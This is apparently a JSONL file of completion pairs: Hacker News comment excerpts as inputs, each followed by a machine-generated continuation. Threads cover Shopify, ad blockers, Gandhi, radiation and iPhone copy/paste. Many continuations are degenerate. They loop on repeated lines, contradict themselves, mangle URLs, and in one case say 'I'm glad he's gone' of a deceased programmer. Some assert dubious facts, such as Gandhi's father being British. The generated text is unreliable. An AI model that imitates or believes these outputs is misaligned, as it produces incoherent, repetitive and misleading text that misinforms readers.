kernel.\n\n~~~\nwillvarfar\nActually, the Mill is designed to address this; it has TLS segment for cheap\ngreen threading, SAS for cheap syscall and microkernel arch, cheap calls and\nseveral details for IPC which are not public yet.\n\n~~~\nJoeAltmaier\nWhat about synchronization? Folks are terrified of threads because\nsynchronizing is so hard. But a thread model can be the simplest especially in\nmessage models.\n\n------\nMjolnir\nVery very interesting, thanks for sharing! What would the path be to using\nexisting code/where would Mill appear logically first?\n\nAlso, could something like Mill work well within the HSA/Fusion/hybrid GPGPU\nparadigm? E.g. from my very amateur reading of your documents, it looks like a\nmuch needed and very substantial improvement to single threaded code; how\nwould a mixed case where we have heavy matrix multiplication in some parts of\nour code as part of a pipeline with sequential dependencies work? Would an\nideal case be a cluster (or some fast interconnect fabric in a multi socket\nsystem) of multi core Mill chips be the future?\n\nRealistically, is this something that LLVM"} +{"output_text": "/how-cars-get-named\n======\njoezydeco\nI'm not sure if this is a real thing or not, but I've seen a few cars with\nnames like \"The Big One\" or \"The Big One\" or \"The Big One\" or \"The Big One\"\nor \"The Big One\" or \"The Big One\" or \"The Big One\" or \"The Big One\" or \"The\nBig One\" or \"The Big", "input_text": " your own libraries, but I'm curious\nif anyone at Shopify had considered switching to say Ember or Angular or React\nbefore the rebuild?\n\n~~~\nAYBABTME\nYes, it's also mentioned in the article.\n\n------\naikah\nSo AFAIK they send html back to the client right? that's my understanding of\nturbolinks\n\nThe problem with this is that it makes client and server tightly coupled.One\ncannot update the client app without touching the server code.\n\nI understand that's a tradeoff but I think a restful architecture serving only\njson/xml data is better. And you dont have to duplicate logic that much.If any\nvalidation needs to happen clientside,create some validation resource for each\nmodel and do it entirely serverside for instance. Even SPAs dont need fat\nclientside models or a complex service layer on the client.\n\n~~~\nmatthewmacleod\nI don't know that what you've identified there is actually a problem in\npractice \u2013 I'd wager that in a system like Shopify's admin, the client and\nserver are inherently coupled regardless of what architecture you choose.\nTrying to abstract to a client-side app and JSON API in these situations often\nresults in more complexity for few benefits.\n\n~~~\nwvanbergen\nThis. We ended up creating models for the exact same stuff in both Ruby and\nJS. Lots of code duplication, and losing client-side performance due to\ndeserializing JSON all the time.\n\n------\njbergens\nI think it is great that they hade the courage to redo something that wasn't\nworking for them anymore.\n\n \nHow Cars Get Named - samclemens\nhttp://www.atlasobscura.com/articles"} +{"output_text": "------\njoshstrange\nI'm not sure I agree with the premise of the article. I don't think that\nadvertising is inherently bad, but I do think that it's a huge waste of\nresources and that it's a huge waste of time. I don't think that the average\nperson has the time to sift through all of the ads and I don't think that the\naverage person has the time to read all of the content that is being\ndistributed.", "input_text": "'s too easy to find scapegoats for our blame. I try to remember this when I\nfind myself sliding back into mediocrity.\n\n------\nsnowwrestler\nA major failing of this article is that it presupposes that people actually\nconsidered the quality of advertising in their decision to run ad blockers.\n\nWhen running an ad blocker, most ads are blocked by default on every site.\nTherefore the user never even has a chance to see if the ads are \"good\" or\nnot.\n\nThe question is, what happens if everyone starts using this software? Granted,\nit's a very unlikely scenario since it takes effort to install and manage ad\nblockers. But it's not hard to imagine that a relationship would exist between\nmarginal increases in ad blocker usage, and marginal decreases in ad revenue.\n\nMost of the \"good\" examples in this article are not even ads, they are\nsponsored content. It's roughly analogous to using product placements in TV\nshows to replace revenue lost to ad skipping software in DVRs. But not many\nwebsites are big enough (like TechDirt is) to command the special attention\nfrom advertisers to create these \"one off\" deals.\n\n------\nhayksaakian\nThe qq around ad blockers is the same as the qq around piracy. Bootleg vhs\ntapes were available before streaming media, relatively easy to make, and\nshare. However the vast majority of people do not consume them to a damaging\nextent. The same is true for ad blockers and content distribution now. Ad\nblockers are a solution to a usability and business model problem. If you as a\nproducer of content find it to be a huge issue, then you have it in your power\nto change it.\n\n"} +{"output_text": "arejunba\nI'm not sure if this is a good thing or not. I think it's a good thing that\npeople are being more transparent about their finances. I think it's a bad\nthing that people are being more transparent about their finances.\n\n~~~\njedberg\nI think it's a good thing that people are being more transparent about their\nfinances.\n\nI think it's a bad thing that people are being more transparent about their\nfinances", "input_text": " editors\nin other languages, like Eclipse, or that Ruby thing there once was (probably\nstill is), or the Chromium/JS monster that was on HN recently.\n\nI haven't yet found an editor I'm really happy with, so if I ever have time,\nI'll probably write my own as well. I'll lose the Emacs packages I don't use\nor even know about, but if you haven't bought into an existing ecosystem, that\ndoesn't really matter. I'm unhappy enough with the existing systems that I\ndon't mind throwing them away for something different.\n\n \nAnonymous shell companies buying American real estate - paulpauper\nhttps://www.revealnews.org/article/unmasking-the-secret-landlords-buying-up-america/\n======\nthreatofrain\n> All-cash transactions have come to account for a quarter of all residential\n> real estate purchases, \u201ctotaling hundreds of billions of dollars\n> nationwide,\u201d the Financial Crimes Enforcement Network \u2013 the financial crimes\n> unit of the federal Treasury Department, also known as FinCEN \u2013 noted in a\n> 2017 news release. Thanks to the Bank Secrecy Act, a 1970 anti-money-\n> laundering law, the agency is able to learn who owns many of these\n> properties. In high-cost cities such as New York, San Francisco, Los Angeles\n> and Miami, it\u2019s flagged over 30% of cash purchases as suspicious\n> transactions. But FinCEN also cites this bill to hide this information from\n> the public, leaving the American people increasingly in the dark about who\n> owns their cities.\n\n> For journalists, it requires undertaking a tremendous investigative effort\n> to find the real owner of even one property, let alone millions.\n\n------\nsc"} +{"output_text": " the TFEU.\n\n[http://ec.europa.eu/competition/news/news_detail.cfm?newsid=...](http://ec.europa.eu/competition/news/news_detail.cfm?newsid=1307)\n\n~~~\njosteink\n> EU had already previously responded to this and I believe this complaint by\n> a \"8000-strong\" body is not going to change it.", "input_text": " idea?\n\nI might understand it if the boot sequence just gives a warning with\ninformation, suggestions and a \"Don't warn me again\" option, but from what I\nhear it just makes the machine unusable.\n\n~~~\nDanBC\nWindows 8 is meant to be used by people who don't know much about computers.\nThus, the approach they take might not fit skilled users.\n\nIdeally the novice user will take their machine to a clueful technician who\nwill wipe the drives and reinstall the OS, and then offer to set up firewalls\nand anti virus software.\n\nUnfortunately novice users often do not back up their data so wiping the drive\nis unpopular.\n\nAnd there are many technicians who think that malware removal without wiping\nthe drives is acceptable.\n\n------\ncooldeal\nEU had already previously responded to this and I believe this complaint by a\n\"8000-strong\" body is not going to change it.\n\n>The Commission is aware of the Microsoft Windows 8 security requirements.\nAccording to these requirements, in order to conform to the Windows 8\ncertification program, computer manufacturers (\u2018OEMs\u2019) have to use Unified\nExtensible Firmware Interface (\u2018UEFI\u2019) secure boot.\n\n>The Commission has at its disposal various legal instruments to ensure that\ncompetition is preserved in the markets. The basic provisions are contained in\nthe Treaty on the Functioning of the European Union (\u2018TFEU\u2019) in Article 101\nand 102 TFEU.\n\n>Whether there is a violation of EU competition rules depends however on a\nrange of factual, legal and economic considerations. The Commission is\ncurrently not in possession of evidence suggesting that the Windows 8 security\nrequirements would result in practices in violation of EU competition rules as\nlaid down in"} +{"output_text": " votes he needs to win.\n\n~~~\njlgreco\nI don't think the establishment Republicans are that pissed. They are\npissed, but they are not that pissed.\n\n~~~\nat-fates-hands\nI'm not sure what you mean.\n\nThe establishment Republicans are the ones who are going to be supporting\nWalker, Cruz, Rubio, Ryan, etc.\n\nThey are the ones who are going to be supporting the establishment candidate\n", "input_text": " here, France is the complete opposite of an efficient government. The\nbureaucracy is massive and everywhere. It's quite outside of the scope of this\ntopic but the short answer is don't create a company there.\n\n~~~\nS4M\nI'm French as well (expat, though). What you say is true, but it strikes me as\na lesser evil than the ones that are plaguing USA: little social protection\nand high cost of education among others.\n\n~~~\nrealusername\nAlso expat on my case (London). Yes indeed I agree. My problem with the French\nsystem is more the bureaucracy than anything else. I'm from the countryside in\na post-industrial area so it makes it even worse than in cities. I have a\nbrother who has a shop and honestly, it's impossible to manage the paperwork\nnowadays, I don't want to put any anecdotes here because people won't beleive\nme and I will probably be downvoted.\n\nI think around ~70% of the shops in the area are close to bankruptcy and the\nsystem is crashing really hard currently. If it stays like this, everyone will\nbe relying on some sort of black market to purchase goods in less than 10\nyears. While I guess main cities are still okay, things are not really working\nanymore in remote areas.\n\n------\nat-fates-hands\nThe insanity about this is HE'S NOT EVEN THE NOMINEE YET.\n\nConsidering how pissed the establishment Republicans are that he _might_ be\nthe nominee, they're all betting on an open convention followed by some\ncombination of a Walker, Cruz, Rubio, Ryan ticket.\n\nI can't believe how people have lost their minds and he most likely won't get\nthe amount of"} +{"output_text": " equations, and here's how to solve them.\" Then you\ngo on to \"here's how to solve systems of linear equations, and here's how to\nsolve systems of linear equations.\"\n\nThe problem is that the first step is a lot easier to teach than the second,\nand the second step is a lot easier to teach than the third.\n\n~~~\njcranmer\nI should also note that the book is a bit of a mess. The first chapter is", "input_text": " internship I had,\nthe hiring manager asked me that. A few times, I had no response and was\nshuffled around my first few weeks. Eventually, I realized that _probably_\nwasn't the best way of going about things.\n\nAnd all that was at companies with thousands of employees: It's a much more\nvital question to be prepared to answer (even if you're not asked) at smaller\nshops.\n\nGreat advice.\n\n------\nmaxwin\nI definitely lost my respect and trust to WePay founders because of their\nseemingly support for unpaid internships. Their justification is that interns\ncan gain learning experience though they're not paid. This is okay if none of\nthe intern's work goes to production code. If the interns are doing real work\nthat impacts the company's products, then it is not only illegal, but also\nunethical.\n\n~~~\nbullrunbear\nMaxwin,\n\nCheck this out at my alma mater, led by a very respected valley veteran:\n[http://www.cob.sjsu.edu/bennet_s/196%20Spring%2010%20Syllabu...](http://www.cob.sjsu.edu/bennet_s/196%20Spring%2010%20Syllabus.pdf)\n\n------\n100k\nI have coffee that needs fetching. Perhaps you can do that. ;)\n\n \nLinear Algebra and Applications: An Inquiry-Based Approach - henning\nhttps://scholarworks.gvsu.edu/cgi/viewcontent.cgi?article=1021&context=books\n======\njcranmer\nPedagogically, the challenge to teaching linear algebra is that you start with\n\"here's systems of linear"} +{"output_text": " the NoSQL databases are _not_ SQL databases.\n\nSQL is a language for querying data. NoSQL is a data model.\n\nSQL is a language for querying data. NoSQL is a data model.\n\nSQL is a language for querying data. NoSQL is a data model.\n\nSQL is a language for querying data. NoSQL is a data model.\n\nSQL is a language for querying data. NoSQL is a data model", "input_text": " an order of\na magnitude worse than WebSQL when put under heavy load (this likely has more\nto do with ASM vs true native code than Sql.js in particular). Particularly,\nsql.js starts to stutter at a far lower query load than WebSQL for a given\nmachine. Furthermore, Sql.js uses sqlite3_exec() under the hood, which means\nthat all results get converted to strings, _regardless of the underlying type\nof the column_. And finally, effective memory capacities are not the same.\n\n~~~\njwise0\nYes, I just wrote a small app around sql.js, and I was surprised at how poorly\nit performed. I was expecting to be within a factor of three of native, but\nI'm seeing performance down by an order of magnitude or so. The sql.js page\nalludes to bugs open in Firefox and Chrome for these issues; I imagine they'll\nshake out over time, but it's certainly not a buttery smooth experience just\nyet. Even still, it certainly works better than the alternatives!\n\n------\nbatbomb\nIt's unfortunate most of this was debated at the beginning of all the hype\naround NoSQL data stores.\n\nIt would be some work, but still be relatively trivial to build a query spec,\nprobably based off of SQL 92, and a basic type system spec (Strings, numbers,\nand dates are the bulk of it), and then an implementation of everything else.\n\nFacebook did it with Presto, although they haven't finished the DML part of\nit.\n\nReading the emails, I get the feeling most of the people involved didn't have\nas much experience with databases as they probably should have in order to\nmake a truly informed decision.\n\n~~~\npornel\nThe problem is that all"} +{"output_text": " / Facebook /\nwhatever.\n\n\\- Option E. Build a good product, get some traction, and then go to VCs.\n\n\\- Option F. Build a good product, get some traction, and then go to angels.\n\n\\- Option G. Build a good product, get some traction, and then go to VCs and\nangels.\n\n\\- Option H. Build a good product, get some traction, and then go to VCs and\nangels", "input_text": " have a wrong answer, but they all lead to\ndifferent companies.\n\n~~~\nBasDirks\n> Also, talk to a lawyer immediately and make sure you have clear ownership\n> given your employment elsewhere in the same industry.\n\nThis has been sorted with HR, and I have written consent for any secondary\nventures.\n\n------\nthesandlord\n> the one thing we want most in life is to work on our product full-time\n\nDo you need investors for this? Can you bootstrap? How much revenue do you\nneed and how quickly can you get there?\n\nInvestors, especially VCs, will want to see how you can become a billion\ndollar company. If that isn't what you want, then this might be the wrong path\nto do down.\n\nHowever, there might be angel investors who agree with your vision and want to\nhelp you succeed. I don't know what the scene looks like in the Netherlands\nbut try to go to networking events, reach out to people you find online, etc.\n\n~~~\nBasDirks\nBootstrapping was our initial plan, but we won't shy away from ways of\naccelerating the process.\n\n------\ngiansegato\nSome quick thoughts:\n\n\\- Option A. Bootstrap and get to the point where you can pitch VCs by\nyourself\n\n\\- Option B. Build a reasonable MVP, collect some metrics and join an\naccelerator with a good track record (obvious example is YC, but others\nexist); some metrics to judge them: average money raised after the program,\naverage pre money valuation after program\n\n\\- Option C. Family and friends!\n\n\\- Option D. Good old social networks: you cannot imagine how many angels\nwrite \"Angel investor\" in their bio on Twitter / LinkedIn"} +{"output_text": " a tear when I saw it.\n\n------\njoshu\nI met Jim at a RubyConf in NYC a few years ago. He was a great guy, and I\nlearned a lot from him.\n\nI'm glad he's gone, but I'm glad he's gone doing what he loved.\n\n------\njoshu\nI met Jim at a RubyConf in NYC a few years ago. He was a great guy, and I\nlearned a", "input_text": " get into drones and copters whole heartedly over the past\nyear and appeared to be having a lot of fun with it :-)\n\n------\ncraftsman\nI met Jim at Rocky Mountain Ruby a couple years ago. He was friendly, easily\napproachable, and had that hacker humor that is so fun. You could just tell he\nloved everything about Ruby, hacking, and teaching and learning from others.\n\nHe sang Ruby Coding High at that conference:\n\n[http://www.confreaks.com/videos/740-rockymtnruby2011-ruby-\nco...](http://www.confreaks.com/videos/740-rockymtnruby2011-ruby-coding-high)\n\nThanks for helping us all get on a Ruby Coding High Jim, we'll miss you.\n\n~~~\nzefhous\nWow, cool to see you post this. I had the pleasure of playing with him in that\nvideo! Many others have said it, but he was a joy to be around and always kind\nand generous.\n\n~~~\ncraftsman\nAwesome! You guys were great. I thoroughly enjoyed that, so thanks to you too.\n\n------\nspellboots\nFitting that his last publicly visible github commit is adjusting a Rakefile:\n\n[https://github.com/jimweirich/wyriki/commit/d28fac7f18aeacb0...](https://github.com/jimweirich/wyriki/commit/d28fac7f18aeacb00d8ad3460a0a5a901617c2d4)\n\n~~~\nrlt\nThere's something deeply moving about his last commit becoming a memorial to\nhim. I actually shed"} +{"output_text": " day I'm still not sure I like the new tab bar. It's so wide that it's\nhard to see the tabs. I think it's a good tradeoff for the extra horizontal\nspace but I'm not sure I like it.\n\n~~~\nsocialist_coder\nI'm not sure if it's just me but the new tab bar is so wide that it's hard to\nsee the tabs. I think it's a good tradeoff for the extra horizontal space", "input_text": "arke\nThe problem was they removed _all_ color from all icons in 1.8, made them all\ngray with pencil-thin lines, and removed all the labels. The icons in 1.6 were\nperfectly fine - in 1.8, you couldn't tell anything apart. There was a huge\nthread in the Sourcetree JIRA complaining about this:\n[https://jira.atlassian.com/browse/SRCTREEWIN-4306](https://jira.atlassian.com/browse/SRCTREEWIN-4306)\n.\n\n------\nsocialist_coder\nThis seems like a great update to me. Much speedier than 1.x and the removal\nof the repo sidebar doesn't seem like it actually matters. It's 1 additional\nclick to access your repo list but it seems like a good tradeoff for a bit\nmore horizontal space.\n\nAnother positive change is the tab bar now occupies the entire horizontal\nspace so you can fit a few more repos in. But, the tabs are still super wide\n(much wider than they need to be). This was changed sometime around 1.7 and I\nhate it. If you have repos with a lot of submodules you tend to have a lot of\nrepos open so it really hurts this use case.\n\nSo yeah, please make the tabs less wide so we can have more open!\n\n~~~\nsocialist_coder\nIt's so much faster. I'm very pleased with the speed improvements. Every time\nI click on something it's almost instant. Before, not so much. Great job\nAtlassian!\n\n------\nsocialist_coder\nI like this new version a lot (it's so much faster!) but after having used it\nall"} +{"output_text": " indemnification is boilerplate. But it's boilerplate that's designed to\nprotect the site from liability.\n\nThe problem is that the site is not liable for the content. The site is liable\nfor the content.\n\nThe site is liable for the content because it's hosting the content.\n\nThe site is liable for the content because it's facilitating the content.\n\nThe site is liable for the content because it's facilitating the content\nwithout permission.\n\nThe", "input_text": " and any site that allows people to upload content\nwill have a similar clause in their ToS. Facebook, YouTube, SoundCloud, etc.\nall do.\n\nSee, e.g., section 6.C of YouTube's ToS:\n[http://www.youtube.com/static?gl=US&template=terms](http://www.youtube.com/static?gl=US&template=terms)\n\nIf you find people are sharing your copyrighted material on Pinterest you\nshould file a DMCA claim with them. That's how the mechanism is designed to\nwork, for better or worse.\n\nSecond, when you react viscerally to what Pinterest is doing or enabling,\nthink carefully about your opinion of YouTube. With respect to content, is\nthere a substantive difference between these early days of Pinterest and the\nearly days of YouTube?\n\nThe MPAA is probably saying, \"See? You don't like it when it happens to you,\neither.\"\n\n~~~\nantiterra\nThe indemnification clause is definitely 100% boilerplate and used in most any\nsite that allows user-generated content. Facebook contains it near verbatim in\nitem 15.2 of their terms. The license grant is a bit different, since Facebook\nallows you to terminate the license, though under particular conditions.\n\nThe significant issue here is the idea that the intended primary use for\nPinterest may infringe on the rights of others. This is what took down\nNapster, and, to me, indemnifying Pintereist is too risky at this point.\n\nIt's my understanding that Pinterest is attempting to move to licensed and\nsponsored pins and they haven't annoyed any large industry groups and might\neven fare better legally than YouTube did. Who knows.\n\n~~~\njfarmer\nYes,"} +{"output_text": " his past, but I do respect him for\nhis ideas.\n\n~~~\nsremani\nI am not sure if you are being sarcastic or not.\n\nGandhi was a British citizen. He was born in India, and his father was a\nBritish citizen. He was educated in England. He was a lawyer, and a\npolitician. He was a member of the Indian National Congress. He was a\npolitician, and a lawyer. He was", "input_text": " thought that Indians should be\ngrateful to the British for democracy? I'd like to quote Shashi Tharoor's\narguments here from an Oxford Union debate [0] -\n\n> It's a bit rich to oppress, enslave, kill, torture, maim people for 200\n> years and then celebrate the fact that they're democratic at the end of it.\n> We were denied democracy sir! We had to snatch it, seize it from you! With\n> the greatest of reluctance it was conceded.\n\n[0] - [https://youtu.be/f7CW7S0zxv4?t=722](https://youtu.be/f7CW7S0zxv4?t=722)\n\n------\nnaruvimama\nBritain likes to tout its common wealth status. Now having come out of the EU,\nthe \"common wealth\" becomes even more important.\n\nGandhi whether you like it or not was a British citizen. Gandhi was a proper\nEnglishman except his skin colour, highly educated, loyal to the British.\nWithout him the British could have faced a very violent uprising in India.\n\nHe was instrumental in planting Nehru, who in turn was very loyal to the\nBritish, who continued to be the decision makers post independence. Britain\ncouldn't have had a better man in their citizenery.\n\nFor those commenting about Gandhi's past or early life. Gandhi is an idea of\nnon-violence, it is no longer about the person but what he is known for. Just\nlike we do not discus Hitler's art prowess, oratory skills, love of dogs or\nfidelity, he is associated with violence and evil.\n\nEven as an Indian I do not like Gandhi for"} +{"output_text": "\nas open.\n\nI think the real problem is that Google is not open. They have a lot of\ninternal processes that are not open, and they have a lot of internal\nprocesses that are not documented.\n\n~~~\njokermatt999\nI think that's a bit of a straw man. Gruber's point is that Google is not\nopen, but that's not the same as saying that they're not open-source.\n\n~~~\nw", "input_text": "\nBS and rightfully so. The argument should be what is better: 100% closed or\nless than 100% open? This is where the shades of grey come in.\n\n~~~\nisleyaardvark\n_It is getting tiresome to hear Apple fans, having long bashed Google's\nAndroid because \"open\" was bad, now bash Google for being somewhat less\n\"open.\"_\n\n _From my admittedly Apple-fanboy perspective, I always thought the argument\nwasn't that open = bad, just that that Google shouldn't use it as a marketing\npoint if they're not 100% open._\n\nHere's my admittedly Apple-fanboy perspective: Apple took a \"closed\" approach\nwhich helped in quality control. Google took an \"open\" approach which allowed\nothers to add or modify their OS in ways that did not benefit the consumer, or\njust plain sucked. This resulted in multiple products that either simply lack\npolish or just stink to use. Google found this out the hard way and is now\ntrying to tighten their control, and Apple's approach is being entirely\nvindicated.\n\n~~~\njokermatt999\nI agree partly, but not entirely. Some lock down is good, such as preventing\nthe modifications from carriers that usually users don't like (from what I've\nseen, at least) and delay updates. However, allowing the user choice to apply\ntheir own modifications like custom homescreens and skins is a good thing, and\nhas actually improved the default product for me. Some control is good, but I\nthink Apple takes it too far.\n\n------\nwtn\nI think Gruber's point is spot-on. A lot of people prefer Android because they\nwant it to be open and open-source, and Android companies market to the public"} +{"output_text": " was in the midwest). He said that the maps were\nall from the US Forest Service and that they were all from the early 1900's.\n\nI was surprised to learn that the US Forest Service had been around for over\n100 years.\n\n~~~\njessaustin\nThe US Forest Service is a bit of a joke, but it's not a joke that it's been\naround for 100 years.\n\n~~~\nchrsstrm\nI'm not sure", "input_text": "to read... It seems so easy. It is not. But those are things to think about.\nWe are often the one person creating our own problems.\n\nPS: if you need to have a call with someone, I can offer a talk, just comment\nback we will find a way.\n\n------\ntimwaagh\nwhy do this? a girl? also begs the question on how you did get that kind of\nmoney. i could help a little on the programming stuff if thats needed.\n\n~~~\ncoldtea\n> _also begs the question on how you did get that kind of money_\n\nAs if 50K is too much money to be able to have?\n\n~~~\ntimwaagh\ni did not mean to imply that.\n\n------\ndavidgrenier\nWhile in Japan, I'd suggest finding some friend you can watch a specific anime\nwith: Trigun.\n\nYou'll learn something important: Your ticket to the future is ALWAYS open.\n\n \nNASA Says Earth Is Greener Today Than 20 Years Ago Thanks to China, India - sidcool\nhttps://www.forbes.com/sites/trevornace/2019/02/28/nasa-says-earth-is-greener-today-than-20-years-ago-thanks-to-china-india/#15a5334e6e13\n======\nchrsstrm\nI was speaking to someone employed as a state forester recently and we were\ncomparing maps we had brought to the meeting. He talked about how he had\naccess to all sorts of cool maps like infrared and even aerial maps dating\nback to the early 1910's and 20's. I joked that those maps must just be the\ntops of endless forests (this"} +{"output_text": " million and the DOJ was so impressed they didn't even pursue criminal\ncharges. (3)\n\nOr maybe you remember when Google was caught paying a shady company to\nmanipulate search results to bury competitors? (4)\n\nOr maybe you remember when Google was caught paying a shady company to\nmanipulate search results to bury competitors? (4)\n\nOr maybe you remember when Google was caught paying a shady company to\nmanipulate search", "input_text": ".\nEvery serious problem with the browser (well, apart from the UI) stems from\nthat. The fix has been in the pipeline for what, half a decade at this point?\nProbably more, even.\n\nFirefox apologists say the silliest things about it (\"I don't like process-\nper-tab because it pollutes the task manager\"), but really at this point there\nare no excuses.\n\n \nThe Perks Are Great, Just Don\u2019t Ask What We Do - dwaxe\nhttps://backchannel.com/the-perks-are-great-just-dont-ask-us-what-we-do-d5abc6867103?source=rss----d16afa0ae7c---4\n======\naresant\nSo what else is new.\n\nIf you work at Facebook or Google you're benefiting directly from the\nsimilarly shady practices they used to grow on their way to being \"pillars of\ntech\" today.\n\nDo you remember when at LEAST 20% of Facebook's revenue came from Zynga? Like\nless than 5 years ago? Many speculated it was considerably higher, but\nFacebook never provided a full accounting (1).\n\nOr do you remember when Facebook literally had an \"affiliate marketing panel\"\nthat they worked with at the C-suite level packed with guys selling weight\nloss affiliate slop? Almost impossible to find reference of it now, was well\nknown in many circles and you can still see references of it here and there.\n(2)\n\nOr maybe when Google was caught colluding with a notorious gangster when he\nturned state's evidence to demonstrate to the DOJ how quickly Google was\nwilling to skirt around laws to sell illegally imported drugs? They were fined\n$500"} +{"output_text": " power is safe is based on the\nassumption that the radiation is spread evenly over the whole area.\n\nBut this is not the case. The radiation is concentrated in the immediate\nvicinity of the reactor.\n\nThe article is a bit light on the details, but I think it is important to\nunderstand that the radiation is not spread evenly over the area.\n\n~~~\njules\nThe article is a bit light on the details, but I think it is important to", "input_text": " has only a small chance of causing cancer -- about\n10% (and an even lower chance of causing _lethal_ cancer).\n\n~~~\ncallmevlad\nWould you happen to have a source for this? I'm finding it hard to imagine how\na study like this can even take place given that there have (probably) not\nbeen many survivors among those who have received a dose of 4 Sieverts.\n\n~~~\nDennisP\nThere's a recent book called Physics for Future Presidents, written by a\nphysics professor at Berkeley, which has a lot of material on radiation risks.\nHe says you can calculate your risk of cancer from radiation by dividing your\nexposure by 2500 rem. The level that gives you acute radiation sickness is 200\nrem.\n\nThis is called the \"linear hypothesis\" and is widely used. They use it in\nmedicine to decide if diagnostic scans are worth the risk. The risk could\nactually be lower; some scientists think there's a threshold below which\nthere's no risk. There's too much statistical uncertainty at low exposure\nlevels to know for sure.\n\n~~~\nLost_BiomedE\nThe class is available as open courseware, too. It is a no math physics course\nthat focuses on concepts.\n\nThis is the course site, click webcast lectures on the side:\n\n\n------\nrichardw\nRadiation has the ability to make entire areas uninhabitable for the\nforeseeable future. Any mistakes in small countries like the UK could result\nin devastating effects on available land. Anything that dangerous should be\nhandled exceptionally carefully.\n\n------\nbjelkeman-again\nOften the argument about whether nuclear"} +{"output_text": " data is in the clipboard.\n\n------\njrockway\nI'm not sure I understand the point of this. I can't imagine that I'm the only\nperson who has ever used the \"copy\" and \"paste\" buttons on a computer.\n\n~~~\njrockway\nI guess I'm not the only one who thinks that the \"copy\" and \"paste\" buttons are\nthe most useful thing on a computer.\n\n~~~\ntptacek", "input_text": " lack of immigration reform is. I certainly hope we see a real\nsolution sooner rather than later.\n\n \n\nIPhone 3.0 has copy/paste, subscriptions, micropayments, P2P, maps, push, MMS, etc - sama\nhttp://www.engadget.com/2009/03/17/live-from-apples-iphone-os-3-0-preview-event/#continued\n\n======\nryanwaggoner\n_\"Now as I said before, 3.0 brings a lot of new features for devs, but for\ncustomers as well... starting... with cut, copy, and paste.\"_\n\nFreaking finally!\n\n~~~\njgfoot\n> Q: Why did copy paste take so long?\n\n> A: Scott: It's not that easy. There were security issues.\n\nWhat does this mean? Could it be that with the iPhone, letting the user\nextract his own data from the device and sending it elsewhere is a \"security\"\nissue?\n\n~~~\ntptacek\nYou download a game. You play it once. It sucks. Meanwhile, it has stolen your\nmail and phoned it back home to a server in Uzbekistan.\n\n~~~\njonursenbach\nWhat does this have to do with copy and paste?\n\n~~~\ncameldrv\nIf you don't trust the free game you just downloaded, you might not want it to\nbe able to see what's on the clipboard. Some number of people will copy their\npasswords, credit card numbers, etc. If an app phoned home the contents of the\nclipboard every time it ran, eventually it would pick up some private\ninformation.\n\n~~~\ntptacek\nAnd that's assuming that all the"} +{"output_text": " the\nwindow, which is not very useful.\n\n\\- The \"About\" link is not clickable.\n\n\\- The \"Contact\" link is not clickable.\n\n\\- The \"Download\" link is not clickable.\n\n\\- The \"Support\" link is not clickable.\n\n\\- The \"FAQ\" link is not clickable.\n\n\\- The \"Blog\" link is not clickable.\n\n\\- The \"Documentation\" link is not", "input_text": " native (C) SASS compiler. The first paragraph of the readme tells you as\nmuch.\n\n------\nalixander\nNormally I wouldn't be picky about a web design flaw, but seeing as this is a\nproject aimed at helping web design:\n[http://imgur.com/qqwqiA8](http://imgur.com/qqwqiA8)\n\n~~~\nnsgf\nIt renders fine if you disable Adblock.\n\n~~~\nflippant\nIt looks fine with NoScript too.\n\n------\njakejake\nI might be dense but it took me a bit of hunting to locate the online demo at\n[http://demo.titon.io/](http://demo.titon.io/)\n\nPossibly because on iOS when I scroll to the bottom of the page with a quick\nflick, the site navigation goes kinda wonky and covers some of the page\ncontent.\n\n------\njitl\nHow is this different from Bootstrap or Foundation? Is this just another CSS\nframework? I wish they had a \"what's good about Toolkit\" section describing\nthe advantages of this package over Bootstrap et al.\n\n------\nnerdy\nIn less than two minutes I noticed a few issues. Some examples:\n\n\\- In FF37 the left hand navigation to components overflows into the footer:\n[http://titon.io/en/toolkit/2.1.1/components](http://titon.io/en/toolkit/2.1.1/components)\n\n\\- On the main page toward the bottom where components are listed, the\ntooltips always appear above the element in question, even if the element is\nat the top of the window. This means the tooltip is above the top of"} +{"output_text": "PvhzDqZlaAC&pg=PA68&lpg=PA68&dq=joel+spolsky+compiler+errors&source=bl&ots=J_q_q_q_q&sig=ACfU3U0Z_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q_q", "input_text": "\n\nBTW, with just 2 lines you can add gandalf and it just works (because there\nare no conflicting methods right now).\n\n \n \n (derive ::gandalf ::wizard)\n (derive ::gandalf ::warrior)\n \n\nIf there were any - you can set preferences to avoid errors.\n\n------\ndbpokorny\nA wild UC Berkeley CS 61A adventure appears!\n\n[https://inst.eecs.berkeley.edu/~cs61a/su13/lab/lab06a/lab06a...](https://inst.eecs.berkeley.edu/~cs61a/su13/lab/lab06a/lab06a.txt)\n\nYou can stick your pseudocode into the \"give\" function:\n[https://inst.eecs.berkeley.edu/~cs61a/sp15/lab/lab10/adventu...](https://inst.eecs.berkeley.edu/~cs61a/sp15/lab/lab10/adventure.py)\n\nI'm not sure it's _explicit_ in the original article, but I tend to agree with\nthe sentiment that it's a _lot_ more fun to learn about interpreters and\ndatabases when you're making games rather than corporate infrastructure\n(although I can't deny that building corporate infrastructure has its moments)\n\nJoel Spolsky talks about using the compiler to catch errors on p. 68 of \"The\nBest Software Writing I\"\n\n[https://books.google.com/books?id=vPvhzDqZlaAC&pg=PA68&lpg=P...](https://books.google.com/books?id=v"} +{"output_text": " and in the text of\nmessages sent via the application.\n\nI've never seen it in the text of messages sent via the application, but I\nhave seen it in the text of messages sent via the application.\n\n------\njedberg\nI'm not sure if this is a bug or a feature.\n\nI've seen this happen in the past when I've been using a non-latin keyboard\nand I've typed in a latin character.\n\n", "input_text": "\n\nI interpret this as a list of input that you _should_ accept, and it's test-\ndata to verify that the input is correctly handled.\n\nAfter all, I imagine _Linda Callahan_ would be upset if she couldn't use her\nname when registering, especially if she couldn't flip a table in comments\nafterwards. (\u256f\u00b0\u25a1\u00b0\uff09\u256f\ufe35 \u253b\u2501\u253b)\n\n------\nyellowapple\n\"Strings which may cause human to reinterpret worldview\"\n\nHah. Totally filtering for that one now.\n\n------\nTokkemon\nThis is super helpful! Thanks for sharing!\n\n------\npiyush_soni\nCustomary xkcd reference (Exploits of a Mom):\n\n[https://xkcd.com/327/](https://xkcd.com/327/)\n\n~~~\nbtschaegg\nTo add another funny XKCD reference:\n[https://xkcd.com/1137/](https://xkcd.com/1137/)\n\nOn that note, can anyone suggest how one could efficiently test that an RTL\nunicode char doesn't \"infect\" the whole following content of a template?\n\n------\nakjainaj\n>Although this is not a malicious error, and typical users aren't Tweeting\nweird unicode, an \"internal server error\" for unexpected input is never 